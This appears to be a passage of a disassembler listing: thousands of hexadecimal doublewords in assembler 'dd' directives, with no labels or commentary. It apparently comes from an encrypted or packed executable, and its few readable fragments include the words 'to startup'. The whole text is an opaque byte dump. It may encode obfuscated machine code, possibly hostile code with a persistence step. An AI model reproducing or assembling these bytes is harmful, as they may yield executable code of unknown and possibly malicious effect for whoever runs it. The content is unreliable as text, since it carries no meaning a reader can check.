0E9064E1Ah, 2Dh, 37F381C9h, 540D2788h dd 0D63E1C11h, 0F46BFBEh, 385h, 9EE28000h, 0FFFF37E9h dd 13D4BDFFh, 3DEA7F21h, 29E8ECEBh, 84A7B252h, 2B8D8D7Ch dd 6A06534Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 1300C351h, 81BDA6ADh, 23F73E9Fh dd 89F98BF9h, 4E2B058Dh, 6E906h, 0F65C0000h, 4F0E420Fh dd 2B6585C7h, 62C0064Eh, 85310000h, 64E062Dh, 0C7DBB70Fh dd 4E065D85h, 6, 24E68100h, 0FF59FE80h, 4E0EE5B5h, 4800F06h dd 66000000h, 0FF51DCB8h, 4E0F9995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 14E873FEh dd 5D000000h, 0ECDDBF1Bh, 2EAF277Ah, 87D3AC9Dh, 722CE70Bh dd 29AD12EAh, 4E07699Dh, 6A5F06h, 1A5995FFh, 0C08B064Eh dd 0E8A80EEBh, 863ECCD5h, 2915B93Ch, 0DA2A9865h, 0D4712ADEh dd 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h dd 5E265AF1h, 0D62232EFh, 0B44E6033h, 67A5E4FFh, 0D602FAF8h dd 0B9A3BEA0h, 6720622Eh, 89A3BA79h, 1B207DCBh, 0D63FC2D7h dd 1D293333h, 98263383h, 0D568B6C0h, 157635F5h, 0CB6B73D6h dd 0DD963AFh, 9E682CC5h, 98266483h, 15235935h, 0CB6B631Fh dd 1DAB634Bh, 9E757EE6h, 0ADB3CC03h, 93207D9Ah, 0A1A23C14h dd 1526336Ah, 0CB6B63B0h, 0AACE639Ch, 0D826334Dh, 0CEA3BEF6h dd 0C820601Eh, 0D576B624h, 67763587h, 0D6097EFFh, 94E2B033h dd 0D576B617h, 1576351Eh, 0CB6B7323h, 0DD96355h, 9E682CB8h dd 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh dd 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh dd 152637A8h, 0CB6B0D88h, 0EBABBE9Ch, 20206003h, 93h, 71E7FC78h dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 534E73B5h dd 928D8D06h, 2B06534Eh, 5E983CFh, 8D8DC88Bh, 6534F5Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 93C35646h dd 548F814Dh, 860F7CABh, 5, 0DADF8166h, 58D890Bh, 0F064E2Bh dd 682h, 51D28100h, 0C766CF80h, 4E2B6585h, 6A7806h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 51537D33h, 0FC7718AAh, 9E9F2h, 0A9A30000h, 6159F744h dd 0C774EEAEh, 4E065D85h, 6, 95B5FF00h, 6A064E05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0AE4FC356h, 0A2AF6B2Ch, 0FA6C9C9h, 95FFD2BFh, 64E0F99h dd 25E59D8Bh, 6A064Eh, 1A5995FFh, 0C08B064Eh, 0C11709EBh dd 42DC7B59h, 8DA1728Dh, 4E0FF99Dh, 39B806h, 85890000h dd 64E041Dh, 0E8h, 0D055800h, 89000000h, 39E903h, 0 dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h dd 0C85h, 0D1853B00h, 0F064E25h, 3684h, 5D853B00h, 0F064E21h dd 2A84h, 0B5853B00h, 0F064E1Fh, 1E84h, 9853B00h, 0F064E04h dd 1284h, 0D1BD8300h, 1064E21h, 5840Fh, 5FE90000h, 8B000000h dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh dd 10840Fh, 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 109D8D00h, 0B8064E4Eh dd 5, 0C361E3FFh, 13E8D00Bh, 38000000h, 640DB737h, 1A8CC25Fh dd 407533DCh, 4EC84789h, 85290B2Ch, 64E068Dh, 22D7815Bh dd 816685C8h, 659FC3h, 0DDBD0300h, 0BE064E26h, 0 dd 0C0B1B866h, 81330C8Bh, 38CD2AEFh, 73C18114h, 8104D680h dd 0A2BF5BCAh, 54E98145h, 0F94608E6h, 0DA6FC181h, 0D18B4496h dd 0DE951h, 42BA0000h, 90E48ECBh, 0CF4716EFh, 8FAAEB53h dd 0BD8B3304h, 64E02E9h, 0D11BD8Bh, 0EE81064Eh, 6E0250FAh dd 6880Fh, 958B0000h, 64E1945h, 50F6C681h, 81666E02h, 81B2CFD7h dd 0FF9B34FEh, 17850FFFh, 8B000000h, 4E2D11BDh, 28E906h dd 80570000h, 6E05E202h, 0FCC26F33h, 8C0F156Fh, 6, 26018589h dd 69E9064Eh, 0D4FFFFFFh, 1BFED542h, 25400106h, 8D8DB710h dd 653528Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 45C35141h, 404A42B3h, 58D89D4h, 81064E2Bh, 29FC8FCBh dd 6585C75Ch, 88064E2Bh, 6A000069h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E867C353h dd 0Eh, 84370F11h, 95B8CA0Ch, 0DFE30BF3h, 95291299h, 64E1189h dd 313FBB5Bh, 85C71F0Dh, 64E065Dh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E3C35646h dd 8BDD7E1Dh, 0F1B5FFC2h, 6A064E20h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E210C355h dd 0AF41D4BBh, 0E89FDD58h, 13h, 0A78A82A2h, 0EBC3322Ch dd 58D5CC7Ah, 0A090F23h, 0F9237ADh, 287h, 5A616000h, 0F9995FFh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B494FC3h, 12E9DEh, 100E0000h, 20DFB426h dd 871D82A7h, 0AAFD1665h, 9AC863DCh, 95FF006Ah, 64E1A59h dd 4CEBC08Bh, 70186DF4h, 7F6D2527h, 59ED8446h, 5D5DA15Fh dd 0AFE7D4E1h, 8B06B56Eh, 0D781C545h, 0EE2AE4D8h, 34EF1E78h dd 139BBBC7h, 0C941669Eh, 0BFB4C6AEh, 3DFF93BCh, 0A0849B6Eh dd 0B412DBA4h, 0B19D05EBh, 674F3929h, 79A75DF3h, 0B07F4706h dd 539C8D8Dh, 6A0653h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 5E938DC3h, 71E60CFh, 8BCEFEBEh dd 4E0B319Dh, 58D8906h, 0C7064E2Bh, 4E2B6585h, 71CC06h dd 0A8B0F00h, 0E9000000h, 5, 0EBC4CB90h, 5D85C735h, 64E06h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0B2A8C355h, 79B5FFEDh, 66064E2Fh dd 77DEC081h, 0FFF78B66h, 4E0F9995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F35DCC4h dd 682h, 0EDB50900h, 6A064E18h, 5995FF00h, 8B064E1Ah, 490DEBC0h dd 78900CDh, 4977BBE3h, 0A79412FBh, 68536CEBh, 6374726Fh dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0) dd 0EC370000h, 17C2Ah, 0FBE90000h, 6800000Fh, 65355E8h dd 0FBF7A9E9h, 56D668FFh, 9FE90653h, 68FFFBF7h, 65358EEh dd 0FBF795E9h, 593468FFh, 8BE90653h, 68FFFBF7h, 65359EBh dd 0FBF781E9h, 5A7C68FFh, 77E90653h, 68FFFBF7h, 6535F08h dd 0FBF76DE9h, 61D668FFh, 63E90653h, 68FFFBF7h, 65362B1h dd 0FBF759E9h, 16F45CFFh, 9476DB65h, 0BF959E3h, 8793D05Ah dd 1A4CD6h, 2C1FB64Fh, 0A52FE03Ah, 1EA859BFh, 9822D347h dd 0C49A4BB7h, 0BB305D1Ch, 51E31CCFh, 516EE1A8h, 30B90412h dd 0B165FE88h, 0C751DD28h, 59C97A88h, 0DE6810A8h, 5F079387h dd 0E2382DB7h, 0C3820E59h, 1CD2C2DBh, 8C34BD08h, 3C7825E4h dd 60ABE32Dh, 3C6C15D4h, 0F157E32Dh, 5DCD5455h, 4D9A3238h dd 0F2000000h, 58AA51Dh, 0BF4B0F91h, 0B206FB16h, 37E3800Ah dd 0D15B03ABh, 0A800FC94h, 0E23EF61Eh, 37C30E97h, 0D21F2A78h dd 4DD6211Ch, 2E20E58Eh, 2C6AD0E3h, 0E01E31BBh, 8298CD57h dd 42DD6237h, 3C39FEC7h, 0DD071AB0h, 0E4603237h, 0B7000000h dd 7906EE1h, 8B91D55Fh, 0CEF175FFh, 9CEF660Fh, 0FF4A951Ah dd 47F0AF57h, 761A9CEFh, 8C169F2Bh, 159F47C3h, 0F43FC84Eh dd 6237DF68h, 93C412DAh, 0D3E1412Ch, 0B9683E13h, 9BCF7837h dd 0B3FE1A9Ch, 0FD52DC68h, 2F915001h, 381A9C9Fh, 62B8AC17h dd 92438ED9h, 160460EAh, 2CB6428Dh, 0EE5EE723h, 3EFDA513h dd 1CD2A1ACh, 0A313C40Fh, 0CD50D05Eh, 7DF6A116h, 58E28A32h dd 8181D00Bh, 7EBAA36h, 2E57E75h, 85F29B5Ah, 0D621E9FDh dd 0E189D44Ah, 0DD830F57h, 0B7BE09CDh, 0FA843580h, 0B15AAE6Ch dd 4CB5608Fh, 0D9964C3h, 87C90000h, 133EC879h, 96BC46F7h dd 2A39C374h, 0B5B13BECh, 861DB667h, 9849D393h, 0FC0560Eh dd 893AE085h, 1B250FFh, 9BC4832Bh, 4A1CCFBAh, 85E10FB8h dd 0F35CE697h, 0FBBD6617h, 620AB206h, 0FA038DD8h, 64BE2620h dd 9BE66FBAh, 0F7C2500Fh, 0AEF91CD2h, 16D57D25h, 0E32D0769h dd 6C5519Ch, 0E32D075Dh, 0A932E87Ch, 4CD5471Fh, 0C87C1A80h dd 7EAA40Ah, 32384D1Ah, 0B54Dh, 6EE1A400h, 0B500FE51h dd 0F9C4A22Ch, 9CEF0D3Ah, 2A75C01Ah, 4F6EF882h, 9CEFE790h dd 80CB161Ah, 9720ACF7h, 9CEB64D8h, 0D5D07F1Ah, 63146916h dd 6519CE5h, 8684CB55h, 0BA748DFDh, 2A222E88h, 2BD31E07h dd 2D677E6Ch, 41F23DE3h, 0E08830D1h, 3E19020Bh, 45D1DEA5h dd 0DE85DE9Dh, 0ED38E57Dh, 71ABBB45h, 0EA3036C0h, 610A7F96h dd 96F57EB5h, 0CABh, 0BA6B99B7h, 30E12130h, 0AD5EACA6h dd 29DA4023h, 0A455C79Fh, 0E581740Bh, 68FC8637h, 0EE7701B2h dd 5EF17B2Ch, 7119EFA0h, 0CFB985B2h, 0FDA6381Ch, 0EF9785E1h dd 36C1DC1Ah, 51DD13C1h, 0CD3916A0h, 0EEC3731Ch, 5B31002Fh dd 57E16D46h, 0F7810AF8h, 22F86B58h, 35ABC499h, 0A52A4359h dd 4AF3B25Ah, 791A9C9Ch, 0C232E32Eh, 0FCD1793Fh, 108FF571h dd 0FB54DE06h, 0AF3B860Fh, 0E3EA4807h, 96E11CD2h, 14254E0Dh dd 2A90E32Dh, 14D37B6Ch, 0E32D146Bh, 0B039DD86h, 1AA4EF65h dd 0AB41CD49h, 32383A76h, 78292F04h, 9A9FFADh, 1DC27Dh dd 901A0000h, 0BC4A05D6h, 149DE833h, 0C3943DC9h, 0EF335C1Bh dd 97E21A9Ch, 906AC0Bh, 0FB030000h, 350AB206h, 0C8165686h dd 38541AB0h, 0C0A4B4AEh, 9941E975h, 0D081420Fh, 135EE732h dd 0B47AC887h, 26711CD2h, 0CE3C139Dh, 4EBC931Dh, 8161D1A6h dd 0A62FDB74h, 44F2865Bh, 1871AA24h, 0B0FB7F1Bh, 9DDC9B24h dd 0E6846AB1h, 60EFC680h, 471CEE63h, 211D4169h, 0FC00B8Eh dd 0B33CCA85h, 0F23B4EF4h, 94B21888h, 1FD02E21h, 9349A277h dd 0C7E3B1B3h, 609EB13Bh, 0A39618D7h, 9941770Dh, 0DAB5FC4h dd 0DDA90A69h, 0F60ADF21h, 0C82EBAA2h, 0F244198Eh, 0A466EB2Dh dd 0F26BA4CFh, 9773DC66h, 0D7963EE6h, 88F260AEh, 0D93DB7FEh dd 0ED630201h, 0D11CEE63h, 0A51A87FCh, 3BC791CDh, 0D7609EB1h dd 5BC1A52Fh, 8BFB87D2h, 0DB9A4276h, 8EBC934Bh, 0EB751D68h dd 691AA664h, 0B27119C1h, 96BC8C85h, 12EED38h, 0B496BC8Ch dd 76FA9469h, 0E42FA448h, 3152DC58h, 8140E8D0h, 90F2E9D1h dd 164ED8h, 8B3FE74h, 5DF1EB49h, 4706AE41h, 0BD5DF21Eh dd 0FA2043CDh, 4FDB2671h, 0EE9622DFh, 13F4832Fh, 0D19038BBh dd 0BBEFF8A4h, 38C10C57h, 0D77F39C8h, 0BE854A18h, 0A0C54FBDh dd 2D78EE7Ah, 0B654FB85h, 36D47B05h, 20413DE2h, 0D837C0DDh dd 0A93h, 0D28381CFh, 48F90948h, 0C57694BEh, 41F2283Bh dd 0BC6DAFB7h, 0CD998C23h, 50149E4Fh, 0D68F19CAh, 46099344h dd 893107B8h, 0CFB79DCAh, 15BE501Ch, 0E7066EE1h, 0B6E3197Ch dd 0FB267AC5h, 0FA4601D0h, 0A4D1271h, 3B150000h, 0BF921CCDh dd 4A089243h, 0E67D07B8h, 71F57F30h, 0CA61FAABh, 0DC8D8FD7h dd 53041252h, 0CD7E9CC9h, 4DFE0C43h, 6710CF77h, 961CCFB6h dd 6EE15B04h, 0D55F0790h, 79038F7Dh, 27E2FEDh, 8236CB2Ch dd 0B35D32DAh, 9571DEA2h, 1A71EAC0h, 0FAA3CF8Eh, 9C261CD2h dd 52C854B6h, 0CB45C07h, 2EE2204Dh, 0FC88D3E3h, 93BBD13Dh dd 62F90822h, 685BFAA3h, 5E54292Dh, 65F22C6Dh, 0BC64AFFAh dd 0FC4708E7h, 109C1CF4h, 5C79A968h, 0AB802B26h, 360B538Fh dd 0FA70FC97h, 4BB626AFh, 7C06C56Dh, 6F2D6BDDh, 5DF27C24h dd 0E966F0A1h, 968C91Dh, 0A936D55h, 996ABh, 8684CC00h dd 4064BD5h, 7B89C953h, 0F72340CAh, 70AABC46h, 9C8F26BFh dd 159F50CAh, 8E18C94Fh, 89243D7h, 340ABB47h, 0B6A0CD8Ch dd 0C1531CCFh, 906EE118h, 32E87D07h, 0EFF5C281h, 13EE1A9Ch dd 0A53EFDA5h, 18E33043h, 0B49B25CDh, 0FF1841CCh, 0C57EF33h dd 1B956AEFh, 0ACD998D4h, 5FE3305Eh, 103FC914h, 6CF6A7F2h dd 0F57F27E3h, 0D621AA70h, 7B07034Ch, 1CFE68F2h, 600DCC74h dd 93E3305Eh, 0A933BC48h, 0B30A5EBCh, 0CABFAD6Ah, 905E241h dd 0F35D0000h, 77DA6415h, 250DA8Bh, 9EC54F00h, 293DC778h dd 12A942F3h, 24D5471Fh, 9B4CCA9Ah, 15C65411h, 9546C48Bh dd 2F5817BFh, 0DE1CCFB5h, 6EE1A34Ch, 0D27D0790h, 4521AB34h dd 0A0C44ED7h, 86EF17Ah, 75DBB64Eh, 9F6BE4D9h, 34C958EEh dd 27B12BEAh, 9651DD3Fh, 5D0h, 1FEB64EEh, 16BF4B96h, 0F52806FBh dd 0F2226BF3h, 144100A8h, 0C71A9CDCh, 0CA89317Ch, 1CCF8F29h dd 103DFCA4h, 0AFE33030h, 8ED962A0h, 0C43CD18h, 0DF2A75FEh dd 64A2AD37h, 0A4630BB3h, 0E33030FBh, 1155DF2Ah, 0AB37820Bh dd 6DF6CA3Bh, 5C5CCAAEh, 33BA19Ah, 0A9BF839Eh, 80E4ABh dd 0FB3B0000h, 0ED9A590Ah, 201A9CEFh, 3AE28AD5h, 0DE67B3B0h dd 1F480793h, 0CE1A9CEFh, 74FD0D44h, 0AC36DE29h, 0D44222B9h dd 2CB5004Bh, 0C57C3A2h, 4F38F780h, 363AFB8Dh, 7E27E68Eh dd 4EC50471h, 127CB0BAh, 6F44BA53h, 53E61EE2h, 0F884CF14h dd 59E3F492h, 41EEADF8h, 74C5042Dh, 0BC52DE29h, 4C516F65h dd 1902h, 210C5900h, 64000002h, 0EF50FDBCh, 0DB831A9Ch dd 9CEF731Ch, 0C57A21Ah, 6FBD780h, 12D1DC73h, 1A9CEF65h dd 79024D98h, 933BE32Eh, 3DF09BBEh, 0C69B0371h, 6813B861h dd 0F3B23EEBh, 1CCF1556h, 0E8721A65h, 89129E7Ch, 31B598CAh dd 895E06E3h, 957D4C45h, 0B76300B9h, 0C98E32Eh, 22F7E8A6h dd 81400AD6h, 0B525B1F0h, 83362D4Ch, 314A9BC4h, 0B4FF4AE3h dd 4419C169h dd 0DF9B66EDh, 7A39C598h, 0E562EDD1h, 11ED62ECh, 41F23D88h dd 0E46DAFB7h, 79A1673Ch, 0DB3B0195h, 89885706h, 6DF9D237h dd 109983E3h, 3F129C44h, 63EF3AC3h, 0FA6C41FDh, 7FE56F20h dd 0DE861099h, 7DE3AF38h, 0A278ECC1h, 841B32F1h, 0D78EE9C6h dd 847E27E6h, 0BC7BE9C6h, 0E9C68493h, 0D981F742h, 0C6846D1Ah dd 0A55A0E9h, 0CB840EBFh, 0FB0DB63Fh, 0DB65B60Ah, 8125489h dd 0CD8C347Fh, 1A9CEFA0h, 12BD0853h, 9171E06Ah, 0A731BD08h dd 920E5FBDh, 0BE5C0863h, 21BAAB35h, 34ED745h, 0EF552FB8h dd 99FF9D57h, 3525FCFDh, 0E5422BEAh, 99000003h, 0EA1839C3h dd 0FE92D45Eh, 15491C27h, 830C575Dh, 0E97CE707h, 341EA831h dd 0E6A54DD6h, 1A9C1FB9h, 0E147216Ch, 0C42A8FA5h, 0AE6D158Ah dd 1A9C1F81h, 0D35DE934h, 4ED88993h, 27B10218h, 6DF8823Dh dd 1F41EEADh, 29741A9Ch, 0CF358DDEh, 0F2283EB7h, 7492BD47h dd 1F062CEBh, 2681A9Ch, 20DE7144h, 9A80E56Fh, 1F205211h dd 268C1A9Ch, 4AD09568h, 0FF67F199h, 479288DEh, 132FFCBBh dd 0A3391A9Ch, 2BE94D7Dh, 28F273FDh, 0FF31E19Ch, 0C338FFFFh dd 60EC2A39h, 0E58D79D6h, 0EFD17E3Dh, 0B9041A9Ch, 5DF27C2Dh dd 295918A1h, 951A9CEFh, 0B19E172Fh, 4C1AA455h, 0B08645CEh dd 5BCAEF4Eh, 0C95859F5h, 9EFC5DD6h, 38h, 0B206FBF5h, 0BB3E4B0Ah dd 72BD1CCFh, 437C2AE9h, 167E330h, 8EBD6445h, 13AA323Dh dd 1000000h, 9CE553ACh, 0FF2E8D1Ah, 85FFFFFDh, 70Ch, 0E50C6300h dd 63000002h, 7906EE1h, 8334D27Dh, 9140EE13h, 0FCBF373Ch dd 2BEA92DDh, 1CD21343h, 919693Eh, 0AFA1DD11h, 0BA62AD23h dd 0A0C8B0E5h, 850F661Fh, 65B039DFh, 0E09150D9h, 7E32E3Eh dd 0F19E5D48h, 24E32E3Eh, 7B058ED9h, 0DFAB34D6h, 6927DD79h dd 0BB664B03h, 0AC32375Fh, 48h, 0B206FB03h, 0CB8D620Ah dd 0D09A0B9Fh, 0F76D8B60h, 0EE17ECA9h, 0F51FA362h, 14C1CD2h dd 8280CF59h, 85AE6DF6h, 24E32D06h, 7C51DA40h, 30B76B99h dd 0A1C44EDFh, 0BE24F079h, 48AE6C80h, 8276AB0Eh, 0E7F13238h dd 48000000h, 0E8906EE1h, 72A9DB13h, 529D26F4h, 73A9C97Dh dd 92D45EE7h, 0B4FF1D49h, 0F8A5640Ch, 2B1A9CB8h, 41CB54E0h dd 0A048F00Eh, 9CB8B4E1h, 901C671Ah, 34D27D07h, 0BC50C483h dd 0E46B1A9Ch, 5594F79Ch, 6AB5B95Bh, 0EE2C38C2h, 0C041B162h dd 0D3A850F8h, 0B776CF7Dh, 1A9C1A8Eh, 5E1DF23Dh, 32CEBB9h dd 0B21A9C2Dh, 0D1901C67h, 1CCC9B0Eh, 80FEA67Bh, 0B7776670h dd 9BE66FADh, 34EC450h, 2929B35Bh, 0A1C54FDBh, 7A22CA7Bh dd 2C1392BBh, 0FE81E2E3h, 77ECF16Bh, 0A02AB601h, 0B70054C6h dd 0B6BFB1E9h, 479CE2Dh, 67E90000h, 0F35EE899h, 76DC6617h dd 0A59E394h, 95D15B0Ch, 0A63DD687h, 0B869B3B3h, 2FE0362Eh dd 0A95AC0A5h, 21D2301Fh, 0BBE4A34Bh, 6A1CCFB0h, 85E12FD8h dd 0F35CE697h, 34BE6617h, 145FE832h, 1BC3DF88h, 9CEF335Ch dd 0E58E21Ah, 0ED38830Ch, 78D761h, 0C61BFCF5h, 0D861AC3Bh dd 5405014Eh, 0F39B1DE4h, 0D272F234h, 0ED76C11Ch, 0F5C89D45h dd 2DACAB6Ah, 8A4AF3B2h, 0EF79E32Eh, 0CC17A062h, 0F36F581h dd 0AAE32E8Ah, 28D059A5h, 2E8A3C69h, 1AA4EFE3h, 7A46CF4Bh dd 0CE837A14h, 1D68B33Ch, 2DA2DC42h, 41816B58h, 87CA55D7h dd 5CA7F27Bh, 0D8A160D0h, 0FEB48979h, 0AC8C8CADh, 0A2610954h dd 0E560620Ch, 0C333E42Fh, 2AD27A3Eh, 14964455h, 29B5EADDh dd 0AB87896Ah, 51F944EFh, 173A8BC7h, 0CC1762EBh, 73D5C1Bh dd 9DC8F78Ch, 9A24CC7Dh, 37C14AB8h, 1863EC2Eh, 56E241CDh dd 39000000h, 9CEF87ACh, 0F6C83C1Ah, 7D8DC44Eh, 25AE5CF3h dd 139D4EDAh, 8544CD3Fh, 1A9CEFD8h, 0D62F67CDh, 3EE68E7Ch dd 9CEFD67Fh, 12BA051Ah, 9CEF2A53h, 28ED91Ah, 7C9EC751h dd 0EF0E34F3h, 86E1A9Ch, 0A2EE774Eh, 0AC6B89D4h, 1A9C4883h dd 8212E732h, 5A0B569Ch, 69EEC3B1h, 0E11E6BF2h, 0D78E18A4h dd 2EB86204h, 0E59E238h, 0B5B03AC3h, 9B01DC65h, 0BF5B0AE3h dd 386D4217h, 3ABC5C17h, 933EFDAEh, 6D1A9CFDh, 0EA4349D7h dd 0CA89312Bh, 0E563199Dh, 0BE790550h, 0FFFFFF68h, 47C38C16h dd 3EE773BEh, 7906EE1h, 8C34D27Dh, 49A3B5B7h, 0B23C37FAh dd 91DC65B1h, 1DE45405h, 8BFA4311h, 9CE7F221h, 614935F4h dd 2F7A1CD2h, 9756FEA6h, 0E32E99EEh, 8746D21Dh, 0E32E99DAh dd 0B42B63C9h, 99204D0Ch, 88D3E32Eh, 0BABB66FCh, 49AC3237h dd 4000000h, 0A42DE97Ah, 0C324CD59h, 0EF335C1Bh, 97E21A9Ch dd 38C78EC2h, 1AA60E86h, 0B96157AAh, 0D201A8FAh, 0DCCEA31Ch dd 85DA9EB8h, 33F27BC6h, 0E32E2A0Eh, 72770F75h, 323770AFh dd 3B6423CBh, 0EAE32E3Eh, 0D258139Fh, 0AF000000h, 12516EE1h dd 14D37B04h, 1A9CEF6Bh, 0B9044F9Ah, 5AC0A630h, 0D1800AB2h dd 0EFC57231h, 0ADF81A9Ch, 51DD2F23h, 0F5113EC8h, 526DE26Ch dd 7E8CC611h, 0D65FAAF5h, 0D08F408Bh, 1A9CEB6Ch, 792AD877h dd 0FAA260EFh, 9A24F670h, 75C049B5h, 11F060E9h, 0AF57FFA7h dd 631447F0h, 9F2B76E5h, 2D24B2E0h, 6D1E69E3h, 0CB404FDh dd 7D9D8C4Dh, 0C8872FE5h, 0E9FDFD9Fh, 9C5B034Eh, 0E9FDFDF3h dd 0E48CD722h, 660E0C5Ah, 59189DCh, 7E9CCA54h, 60C9A72Ah dd 0EE4DD6B5h, 1ABh, 0BA6B99B7h, 30E12130h, 0AD5EACA6h dd 29DA4023h, 0A455C79Fh, 0E581740Bh, 68FC8637h, 0EE7701B2h dd 5EF17B2Ch, 7119EFA0h, 0CF8E85B2h, 0FDA6381Ch, 0E69785E1h dd 6617F35Ch, 0B206FBBDh, 31D1800Ah, 29D15DA8h, 0D2F6D86Ah dd 3FC8131Ch, 2D08D380h, 225CC2E3h, 384E62BFh, 0B60532h dd 0E15C0000h, 5EE8906Eh, 0FE871307h, 8298CC56h, 20FA6CF6h dd 0A278EE78h, 6ACE8D16h, 751A9CEBh, 0F17B2CDAh, 0A717A05Eh dd 0F7B65E5Ah, 0E32D244Bh, 38D3580h, 5B30B963h, 7CA684CAh dd 0A32D7833h, 1DCE5AC0h, 6764EB75h, 49941DFFh, 9E2A75FEh dd 3DE5D32Eh, 7D9C9C7Eh, 0CC74BFE5h, 0DA992442h, 0E9FDE1ADh dd 8A90D660h, 206BB601h, 5C81E56Fh, 78CC17F3h, 0B560D503h dd 0D032911Ah, 92000000h, 58F40BEh, 830DBE4Ch, 28C3DCFh dd 7A04B561h, 0E47D2EECh, 0E0C5A4Dh, 8B91D35Dh, 51550DAh dd 7985CA54h, 8B4AF2C8h, 1CCF8DE2h, 0E1D67F11h, 5CE69785h dd 0BD6617F3h, 7906EE1h, 8334D27Dh, 0D98BEE13h, 0F80460B9h dd 4B1FABh, 39E12C77h, 0CF39DD7Ah, 1CA5F01Ch, 9041BD92h dd 34BD4906h, 484A8A75h, 31BB6399h, 5CBEA734h, 671F8511h dd 5E06C18Eh, 5AE42FB8h, 36810AF8h, 9FB03AEBh, 1350DA63h dd 34AD147Dh, 0ACF713DFh, 3DC76F23h, 88CA6A12h, 616F29C4h dd 6A248A16h, 560FBC93h, 0A5F03BC4h, 19E56AF4h, 0F75C9C71h dd 8589A0BAh, 68B33CCAh, 6008911Dh, 0E7232EB8h, 0AF4A7F28h dd 4124AE65h, 0A3028ED9h, 3, 0E1D57EFAh, 7E08916Fh, 22AC35D1h dd 0C44ED743h, 67F17AA0h, 0A941DFFh, 0AB35BE5Ch, 4FD962B8h dd 0EE780103h, 6F1EA763h, 4E7B68h, 241C8900h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0C568241Ch, 8900005Bh dd 0BE562404h, 653547Bh, 815E5B56h, 4ECh, 24248900h, 4240481h dd 58000000h, 2C815352h, 463DDD24h, 0C2815A76h, 76463DDDh dd 5A085089h, 582434FFh, 0FF04C483h, 835B2434h, 0C7E904C4h dd 97FFFBE7h, 0F5D0F9B6h dd 3B34F330h, 750115C1h, 0A6B8AE66h, 3065363h, 9DE0FFC5h dd 0C0302ABAh, 0F357D030h, 0C458DD8Ah, 5308F4F6h, 8E398356h dd 9C1949DCh, 5C6C97BFh, 0E309B8D1h, 7E5B6B2Eh, 4B694E7Ch dd 756ABCB8h, 0E85C244Fh, 185BBE90h, 250648E9h, 7805C7A4h dd 1F69D5F0h, 1E11D0BEh, 468A128h, 0E935BFD7h, 197h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 7CC35747h, 0C870Fh dd 8B0F0000h, 6, 8B0Fh, 8C0F0000h, 10h, 0BE9h, 0CF358B00h dd 53F698D1h, 7C4C45E0h, 6546B58Dh, 60600653h, 9E9h, 428B7500h dd 0A418932h, 0DE9CD95h, 56000000h, 0BCBDE331h, 127D40E9h dd 3CF8FAD6h, 0D8B70F61h, 62858D61h, 6A065156h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0B754C351h, 11870Fh, 0CE90000h, 0FB000000h, 7BC5F700h dd 91AB57F8h, 0F50985Bh, 0C81h, 6800F00h, 0F000000h, 84h dd 60D0FF00h, 61F7BF0Fh, 0BE6660C3h, 8166BA91h, 61C234D7h dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0A6F6C355h, 830F8CB0h, 1, 4C1F6FCh dd 44840Fh, 7E90000h, 83000000h, 1BE59302h, 0FB8B97A7h dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9CC35242h, 4529B533h dd 6AC70A4Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E957C350h, 7, 0B904F4BCh, 0C79DA60Dh dd 53659C85h, 1013F06h, 60EB00h, 17h dup(0) dd 0E9000000h, 0B65h, 0B59E9h, 6EA36800h, 2E90653h, 68FFFB19h dd 6536FDBh, 0FB18F8E9h, 705368FFh, 0EEE90653h, 1EFFFB18h dd 2E1C9953h, 3C2AA725h, 4F3DBA32h, 5C4AC705h, 0B5CD913h dd 8F4D1A18h, 9E5E2412h, 0B02C3321h, 0BD3F4533h, 0CAA06740h dd 0B7D3D0ADh, 7DFB8661h, 4230F7F5h, 9016B834h, 0A8965DFFh dd 